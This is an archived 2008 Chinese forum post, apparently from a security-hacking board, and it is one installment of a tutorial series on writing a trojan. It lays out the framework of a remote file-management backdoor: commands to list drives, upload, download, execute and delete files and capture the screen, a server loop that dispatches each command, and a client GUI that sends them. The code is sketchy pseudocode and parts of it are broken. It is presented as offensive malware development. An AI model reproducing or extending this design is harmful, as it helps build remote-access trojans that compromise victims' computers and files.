邪恶八进制信息安全团队技术讨论组's Archiver

chinafe 2008-5-10 04:09

[原创]木马编程DIY第11篇之文件传输 1框架结构和界面实现

[align=center]                        木马编程DIY第11篇之文件传输 1框架结构和界面实现

                                                文/图 冷风 德州科技职业学院[/align]

在木马中文件管理的重要性,是无需质疑的,对于文件的管理,做到并不难,但做好却也不易在我们编写一个功能完整的“文件木马”
其实现效果如图所示。为了文章的完整性,我们将分为数篇来介绍,本文主要介绍程序的整体框架和界面实现,在以后的文章中将以此框架为基础实现详细的功能。


编写环境

程序的编写环境为VC6.0+WINDOWS2000 除界面外的其它部分如,程序框架,功能实现 大多用API实现所以若要移值到其它环境还是比较方便的。


实现目标

在开始工作前,先明确目得和方向,这样可以避免少走弯路,我们的目标主要有:枚举磁盘,枚举目录,获取文件信息
上传文件,下载文件,执行文件,创建目录,删除目录等



传输控制结构


要实现客户端与服务端的通信,设计一个合理的传输控制结构,会使后面的工作轻松很多,为了使代码易读
首先对要使用的命令进行预定义其各个命令定义如下

#define GetDriver        0x01        //磁盘信息
#define GetDirInfo        0x02        //目录信息
#define ExecFile        0x03        //执行文件
#define GetFile                0x04        //下载文件
#define PutFile                0x05        //上传文件
#define DelFile                0x06        //删除文件
#define DelDir                0x07        //删除目录
#define CreateDir        0x08        //创建目录
#define FileInfo        0x09        //文件信息
#define GetScreen        0x10        //查看屏幕


在程序的网络通信中主要有 操作命令 ,命令对像,和具体数据三部分,对于命令的传输定义如下结构

typedef struct
{
        int        ID;                        //操作命令
        BYTE        lparam[BUF_LEN*2];         //命令对像

}COMMAND;


因为在程序中打交道最多的就是文件,对文件的详细属性定义如下结构


typedef struct                                       
{
        char        FileName[MAX_PATH];        //文件名称
        int        FileLen;                //文件长度
        char        Time[50];                //时间信息
        BOOL        IsDir;                        //为目录否
        BOOL        Error;                        //错误信息
        HICON        hIcon;                        //图标句柄

}FILEINFO;








服务端结构




服务端还是比较简单的其整体思路如下


1.服务端循环接受连接,并把连接交给线程处理
2.线程接受"命令数据",并跟据命令ID将命令对像和SOCKET句柄传给处理函数
3.函数执行指定功能,并返回执行结果

对整体结构的描述,我们用伪代码表述如下

main()
{        /*初示化设置......*/

        while(true)
        {
                if(client=accept(server,(sockaddr *)&clientaddr,&len))//循环接受连接
                {
                        CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);//传递线程处理
                }
        }
        /*清理释放资源......*/

        WSACleanup();
}

服务端程序运行后循环接受连接,如果有新的连接就传递给新的线程处理,线程代码如下

DWORD WINAPI SLisen(LPVOID lparam)
{
        SOCKET client=(SOCKET)lparam;
        COMMAND command;
        while(1)
        {
                if(recv(client,(char*)&command,sizeof(command),0)==SOCKET_ERROR)//接受命令数据
                {
                        cout<<"The Clinet Socket is Closed\n";
                        break;
                }else
                {
                        switch(command.ID)//判断命令ID
                                {
                                case GetDriver://将命令对像和SOCKET句柄传递给处理函数
                                         GetDriverProc        (command,client);
                                         break;
                                case DelFile:
                                         DelFileProc        (command,client);
                                         break;
                                /*其它命令......*/
                                }
                }
        }
}

线程式的功能是接受客户端的"命令数据",并跟跟据命令ID 将命令对像传递给处理函数,由函数完成指定的功能
以删除文件命令为例其函数格式如下

DWORD DelFileProc (COMMAND command,SOCKET client)
{
        if(DeleteFile((char*)command.lparam)==0)//command.lparam为命令对像,这里为要删除的文件路径
        {
                send(client,"删除失败...");
        }
        else
        {
                send(client,"删除成功...");
        }
}

很容易看出,处理函数接受"命令对像"和客户端SOCKET句柄,执行后会把结果传递回去....







客户端结构


客户端结构的实现思路如下

1.跟服务端建立连接
2.发送用户命令
3.启动一个线程,用于接受服务端的返回信息

对整体结构的描述,我们用伪代码表述如下

void CMyDlg::OnConnect()
{
        if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)//连接....
        {
                return ;
        }
        CreateThread(NULL,NULL,CLisen,this,NULL,NULL);//创建线程用于接受SERVER返回信息
}


对于用户发送的命令我们仍以删除文件为例说明其代码如下

void CMyDlg::OnMenuDelFile()
{
        HTREEITEM CurrentNode =  m_tree.GetSelectedItem();                //取得选择的节点
        CString FullPath =GetFullPath(CurrentNode);                        //取得节点全目录
        COMMAND command;
        command.ID=DelFile;                                                //设置命令为删除文件                                                                                //删除文件
        command.lparam=FullPath.LockBuffer());                                //将路径加入命令对像
        send(server,command);
}


用于接受SERVER返回信息的线程,和服务端接受命令线程相似,这里就不再说明了,有兴趣可以看下源代码

到这里程序的流程框架就介绍完了,下面我们再看一下程序的界面设置.


界面实现

程序的主界面如上图所示,主程序是一个对话框,主要包括一个树控件m_tree和列表控件m_list分别
用于显示磁盘目录和文件,在对话框初示化时用以下代码设置树控件的属性

    DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);
    dwStyle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT;
    SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);

对于列表框控件则没有太多要求,要留意的是,如果显示图标应该把Styles显示属性设置为ICON

VC的做出的界面,常常让人有种摔键盘的冲动。其实稍微留意一下其设置,也可以让它漂亮一些
比如上图所示的界面就是经过简单设置得到的,而没有用其它类库,有点兴趣?其设置方法为:

1.在对话框属性中设置Styles 的Border属性为Thin
2.选重More Styles "可见" 属性
3.选重Extended Styles的"静态边"属性

这样再运行一下程序是不是感觉清新不少?

到这里程序的主要结构框架和界面实现就介绍完了,下一篇将详细介绍其各种功能的实现

页: [1]
© 1999-2008 EvilOctal Security Team